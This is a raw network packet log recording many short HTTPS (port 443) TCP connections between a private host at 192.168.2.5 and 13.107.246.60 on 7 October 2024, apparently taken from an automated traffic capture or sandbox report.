Oct 7, 2024 13:26:34.169539928 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.169861078 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.169872046 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.212533951 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.212609053 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.212748051 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.213212967 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.213212967 CEST	49718	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.213227987 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.213237047 CEST	443	49718	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.216865063 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.216897964 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.216964006 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.217169046 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.217175961 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.764678955 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.765392065 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.765403986 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.765911102 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.765913963 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.799541950 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.800173998 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.800187111 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.800559044 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.800563097 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.831446886 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.831945896 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.831954956 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.832324982 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.832329035 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.863950014 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.864573002 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.864583015 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.864772081 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.864830017 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.864876032 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.865081072 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.865088940 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.865109921 CEST	49720	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.865113974 CEST	443	49720	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.865298033 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.865302086 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.868751049 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.868794918 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.868851900 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.869054079 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.869066954 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.923949957 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.924015045 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.924072981 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.924470901 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.924479961 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.924491882 CEST	49721	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.924495935 CEST	443	49721	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.930290937 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.930304050 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.930366993 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.930866957 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.930876017 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.934401989 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.934462070 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.934510946 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.936446905 CEST	49723	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.936455011 CEST	443	49723	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.942287922 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.942329884 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.942384958 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.942714930 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.942727089 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.966996908 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.967058897 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.967107058 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.967508078 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.967519999 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.967530012 CEST	49724	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.967535973 CEST	443	49724	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.980572939 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.980618000 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:34.980705976 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.980875015 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:34.980882883 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.504224062 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.504801989 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.504825115 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.505502939 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.505508900 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.578932047 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.579648018 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.579670906 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.580228090 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.580235958 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.592083931 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.592596054 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.592631102 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.593039989 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.593045950 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.603857040 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.603920937 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.604010105 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.604265928 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.604288101 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.604300976 CEST	49725	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.604306936 CEST	443	49725	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.607809067 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.607855082 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.607942104 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.608082056 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.608098984 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.630280972 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.630893946 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.630925894 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.631409883 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.631414890 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.678517103 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.678582907 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.678663969 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.678956032 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.678977966 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.678989887 CEST	49727	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.678996086 CEST	443	49727	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.682316065 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.682352066 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.682436943 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.682579041 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.682590961 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.695622921 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.695792913 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.695924997 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.696109056 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.696124077 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.696135998 CEST	49726	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.696141005 CEST	443	49726	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.699613094 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.699661016 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.699753046 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.699893951 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.699904919 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.748375893 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.748436928 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.748527050 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.748769999 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.748791933 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.748806000 CEST	49728	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.748811960 CEST	443	49728	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.752415895 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.752443075 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:35.752525091 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.752688885 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:35.752696037 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.242413998 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.243366003 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.243402958 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.243881941 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.243887901 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.345499039 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.345727921 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.345791101 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.345874071 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.354090929 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.354120970 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.354259014 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.354279041 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.354289055 CEST	49729	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.354295015 CEST	443	49729	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.354664087 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.354670048 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.357981920 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.358027935 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.358113050 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.358380079 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.358396053 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.363277912 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.363805056 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.363850117 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.364300013 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.364310980 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.427100897 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.427709103 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.427721024 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.428210974 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.428215981 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.454519987 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.454679012 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.454778910 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.454955101 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.454979897 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.454993963 CEST	49730	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.454998970 CEST	443	49730	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.458055019 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.458106041 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.458199024 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.458340883 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.458359003 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.470185995 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.470273018 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.470360041 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.470560074 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.470586061 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.470597029 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.470602989 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.479906082 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.479954958 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.480070114 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.502293110 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.502321005 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.532212973 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.532288074 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.532394886 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.532706976 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.532720089 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.532728910 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.532735109 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.536423922 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.536459923 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.536544085 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.536956072 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.536972046 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.998728991 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:36.999675035 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:36.999708891 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.000221014 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.000226974 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.099062920 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.099123955 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.099260092 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.099570990 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.099584103 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.099598885 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.099603891 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.103423119 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.103462934 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.103754997 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.103754997 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.103785038 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.107692003 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.108217955 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.108232021 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.108833075 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.108863115 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.190033913 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.190948009 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.190973043 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.191418886 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.191423893 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.213407993 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.213469028 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.213587046 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.213887930 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.213910103 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.213922024 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.213928938 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.217483044 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.217649937 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.217694044 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.217931032 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.217943907 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.217993975 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.217993975 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.218025923 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.218383074 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.218388081 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.320902109 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.320981979 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.321033001 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.321270943 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.321291924 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.321305037 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.321310997 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.322658062 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.322702885 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.322737932 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.323071957 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.323087931 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.323097944 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.323102951 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.325639963 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.325664997 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.325752020 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.326345921 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.326383114 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.326438904 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.326529026 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.326540947 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.326644897 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.326658964 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.783297062 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.784476995 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.784501076 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.784559965 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.784564972 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.858762026 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.859420061 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.859436989 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.860551119 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.860554934 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.888400078 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.888463974 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.888523102 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.888787985 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.888787985 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.888807058 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.888813972 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.894541025 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.894563913 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.894639969 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.894851923 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.894866943 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.956557989 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.957254887 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.957285881 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.957899094 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.957906008 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.959203959 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.959270954 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.959328890 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.959577084 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.959604025 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.959614992 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.959624052 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.963257074 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.963315964 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.963428974 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.963594913 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.963606119 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.989573002 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.990298986 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.990336895 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:37.990834951 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:37.990842104 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.056375980 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.056498051 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:38.056581974 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:38.056842089 CEST	49740	443	192.168.2.5	13.107.246.60
